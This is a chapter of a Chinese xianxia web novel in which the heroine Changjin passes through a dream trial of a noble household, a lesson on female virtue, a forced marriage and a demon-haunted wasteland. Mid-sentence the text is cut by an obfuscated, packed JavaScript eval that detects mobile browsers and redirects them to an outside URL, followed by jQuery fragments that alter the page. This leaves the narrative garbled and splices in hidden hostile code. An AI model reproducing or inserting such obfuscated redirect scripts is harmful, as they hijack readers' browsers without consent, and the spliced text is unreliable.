7. 心不先立,身不后破

作品:《高冷师妹不走正道

    “挽娘、挽娘,莫睡了。”一个声音模模糊糊地传进耳朵里。


    “今天可是要去女先生那里读书的呀!”


    长矜恍惚睁眼,只见一片令人眩晕的迷蒙色彩。


    这色彩慢慢褪去,她看见自己的手抓着一块织锦鸳鸯被褥,被褥旁边是紫檀床架。往上看床架悬下来一帘轻薄的云纱帷幔,还坠着一些细小的贝珠串成的珠链。


    云纱外有个丫头的影子映在上头,她慢慢探身进层层帷幔里,是个梳着双丫髻的脸庞柔美的姑娘。


    这丫头伸出一双纤手轻轻摇她。见长矜已经半睁眼,这丫头便把手往上扶着她的肩把着她半起身。


    长矜也不挣扎,脑子里有团浓雾始终拨不开,根本想不清事。她缓了一会儿,问:“这是哪儿?”


    “挽娘你睡糊涂了?这还能是哪,这是国公府邸呀。您是国公府的四小姐,今儿正要去府上请来的女先生那里读书呢。”


    丫头把长矜从床上扶起来,抬手招呼着其他人来给她梳妆打扮,便有一簇簇的姑娘端着东西如流水一般进来。


    长矜就像是不会动的木偶一样任人摆动,等她们伺候好了又出去。


    长矜原本还有些游离的双眼浮出一丝困顿,眉头蹙了一下,道:“国公府是什么地方?”


    ……


    场面顿时寂了一下,这丫头脸上的笑僵了一下,说:“挽娘莫说笑了,国公府是你家啊,装傻也不能逃了今天女先生的课,不然夫人又该罚了。”


    长矜想了一会儿还是没想明白这个国公府跟家有什么共通处,越想头越疼,干脆不想了,问:“什么女先生?”


    “就是给挽娘上课的教书先生,挽娘去了就知道了。”


    等她漱口穿衣完毕,她被挪到了梳妆台前,身旁那个丫头问她:“挽娘今天想梳什么头发?”


    她叫什么来着?长矜看着那张有些朦胧但美艳动人的小尖脸,只觉得熟悉。


    好像叫……阿棠?


    那个丫头凑过来,说:“是呀,奴婢叫阿棠,春风醉海棠的棠。”


    “阿棠,你觉得哪个好就梳哪个吧。”长矜想不起来有什么头发可以梳,脑中一片空白。


    “奴婢觉得,这飞仙髻最适合挽娘呢。”阿棠说着便梳起来。


    飞仙髻?长矜微微皱眉,只觉得什么东西被忘掉了一样。


    “好了好了,该走了。”阿棠脸上皱出一丝痛色,笑着打断了长矜的思绪。


    长矜站起来,身旁景物飞速变幻,一群看不清脸的婢女围在她身边。


    这色彩又厚重让人眩晕起来,她好像走过了很多熟悉的地方,从华美庭院到精致园林,精致园林到无边荒野,无边荒野到尸骸埋骨地,尸骸埋骨地到一树不知桑。


    长矜面上神情立刻生动起来,这浓厚的色彩却又褪下去、褪下去。


    她身前出现一道陈旧的木门,长矜神情又开始变得平静。门是用来推的,她就自然地抬手推门进去。


    最上面站了个教书模样的中年女子,面容模糊身形消瘦,见长矜进来便斥道:“谁准许你进来的?这般没规矩。进来前要先扣门示意……”


    长矜从善如流退出去,关上门。


    她抬手敲了敲,再推门进去。


    那女子却又斥责道:“还要经过准许,在门外等候片刻方可入门……”


    长矜不耐烦地退出去,关上门。


    然后转身走了。


    她身后那群丫头不知道什么时候不见了,而她也不觉得奇怪,只胡乱逛着,心里始终觉得不对劲,又说不上来哪里不对。


    走着走着她的身前又出现一扇门,她犹豫片刻,还是推门进去。


    最上面还是站了个中年女子,见她进来就温声道:“既人已到齐,那我们就开始今日的朗诵,《女诫》。你快快入座吧。”


    下面坐了几个看不清脸的女子,空了最前面的一张桌子出来。


    长矜坐上位子,打开面前的封皮崭新的书,里面一翻全是空白,只有第一页有字迹。


    这字歪歪扭扭,险些糊成一团,但长矜却觉得很熟悉亲切。


    “挽娘,请你念第一句吧。”女先生说。


    长矜却见上面只有一句话,慢慢念出来:“道可道,非常道。名可名,非常名。”


    那女先生皱眉,走下来抢过她的书看一眼就脸色惊变,又还给她。


    “今日是我疏忽,带错书了。还请各位听我念,再跟着我念吧。”


    “等等,夫子。”长矜突然喊住她,又翻了一页,笑道,“第二页还有一句。”


    这一页的字迹却隽秀异常,意象厚重。


    “天地不仁,以万物为刍狗。”


    话音刚落窗外就传来爆破声,呼啦啦风一阵阵,窗棂吱嘎吱嘎作响。那女先生怪叫一声险些摔倒,扶墙才稳住身形。


    “夫子,你要看吗?”长矜笑问。


    女先生站在台上脸色惨白汗津津,咽了咽口水,摇摇头。长矜便只收好听着。


    “女子讲究三从四德,三从便是未嫁从父、已嫁从夫,夫死从子。”她念。


    下面的人跟着她念。


    女先生走到长矜桌前停下蹲下身来,脸色有些可怖:“挽娘,你为何不念?”


    长矜看着她,低声笑道:“我没有父亲,也没有丈夫,更没有孩子。”


    女先生咬牙冷笑道:“那你以后出嫁了就会有父亲、丈夫、孩子。”


    长矜歪头想了想,说:“我不会出嫁。”


    “女子皆是要出嫁的,你为何不会嫁?你一定要嫁。”


    长矜其实已经有些糊涂了,但依旧慢慢说道:“就从我这里开始不嫁。”


    女先生却笑起来:“世间只有两种女子不嫁,一为出家人,二便是娼妓。出家人最是守矩,一心信神。你既不守矩,又不信神,那是要做娼妓了?”


    长矜还没来得及回答,一转眼就又坐在床榻间。


    这回她头上披着红帕子。


    有人挑起她头上的帕子,一个酒气熏熏的男人对着她笑:“挽娘……芙兰……陪着我。”


    这个看不清脸的男人就要伸手碰她的脸。


    长矜没


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062038|195061||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    有阻止他,而是问:“我是谁?”


    这问题使得男人僵住了一会儿,说道:“你是我的妻,国公家的小姐。”


    “那芙兰是谁?”长矜问。


    “芙兰……芙兰是闻香阁的头牌,不不不,芙兰是……”男人退后两步,捂着脑袋喃喃起来。


    长矜从头上摸下一把发钗,精准地斜斜地扎进男人的侧颈里。


    鲜血涌出,但男人仍在不停地低声呢喃。


    “为什么、为什么……”


    “什么为什么?哪来这么多为什么?我又不是夫子。”长矜莫名其妙道。


    狂风大作,吹掉了长矜身上的喜服和她头上的发饰。


    原本已经有些清醒的长矜眼神又迷蒙起来,她往后退了几步,身后变成万丈悬崖,她摔了下去。


    色彩又开始漂浮旋转,长矜忍不住闭眼睡去,再睁眼时,她看见一片无边荒野。


    她的心突然安定下来。开始一步一步往前走。


    路途中时不时就会碰见腐烂又或者新鲜的尸骸,草木并不旺盛,多是枯草断枝,天色昏沉,景象凄惨。她偏头一看,路上竟还荡着一抹孤魂,这孤魂单薄且是女子,面容柔美。


    长矜觉得熟悉,就走上前去看。


    那孤魂却看着她就开始呜咽,嘴里止不住地说对不住。


    长矜无动于衷地看了会儿,说:“成道路上,没有谁对不住,只需对得住自己即可。”


    那女子止住呜咽,颇为可怜又呆滞地盯着她。长矜突然心中觉得怪异,又补了句:“得因报果,日后自有得机会偿还又或是报应。”


    说完她就又往前走,隐隐出现簌簌落叶声,她便加快脚步。


    只是越走雾越浓越黑,她再也找不到来时路,也找不到归去道。心里只觉得怅然若失,莫名说了句:“果然是不在了。”


    话一出口,天地间轰隆隆作响,似山崩地裂。雾中时不时冒出妖物朝长矜袭来,只是这些妖物却大多为畏缩之像,长矜只随身闪避或者挡一挡便不敢上前来。


    长矜也不追着砍杀,眼里露出一点遗憾来,喃喃说:“大荒崩裂了。不知桑也倒了。”


    黑雾滚滚一点点似要将她吞噬进去,只是始终无法作为。


    雾中传来声音:“长矜,经此两境,还未长进。道便是心先立身后破,你一境心不诚,二境身不破,如何入道自处?还不速速自裁谢罪,不负我传道之恩?!”


    长矜一身衣袍被黑雾刮起,衣带猎猎,白玉面上一抹黑痕越发夺目。


    她突然弯腰笑起来,笑够了才起身,慢条斯理道:“天下无人配我自裁业果,更无人配教我行道。”


    “你这妖畜更是天上地下最不配。”


    那妖风忽得止了,雾散开来,一抹微弱的光飞也似的钻进她衣袍里。


    长矜有些迷离的眼睛清醒过来,变得宁静而深邃。


    她在做梦。


    那她的本体呢?


    此时长矜的本体,正在山洞里的蒲团上打坐。


    她早就进入了幻境,从她踏进问心境的入口开始。